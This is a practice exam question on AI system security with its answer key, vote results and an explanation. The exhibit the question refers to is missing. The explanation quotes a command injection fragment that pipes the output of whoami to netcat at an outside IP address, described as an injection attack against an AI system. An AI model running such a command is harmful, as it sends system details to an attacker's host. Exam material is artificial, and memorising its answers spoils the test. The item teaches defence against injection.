A security analyst receives an alert about an AI system and is investigating the following output: Which of the following is the most appropriate control the analyst should recommend?

The correct answer is B. Implementing user input validation. The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI…

Vulnerability Management

Question

A security analyst receives an alert about an AI system and is investigating the following output:

Which of the following is the most appropriate control the analyst should recommend?

Exhibit

Options

AIntegrating data sanitization
BImplementing user input validation
CMonitoring logs for attack words from the system
DHardening the Model Context Protocol server

How the community answered

(53 responses)

A
11% (6)
B
81% (43)
C
6% (3)
D
2% (1)

Explanation

The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.

Topics

#input validation#AI security#prompt injection#model output control

Community Discussion

No community discussion yet for this question.

Full CY0-001 Practice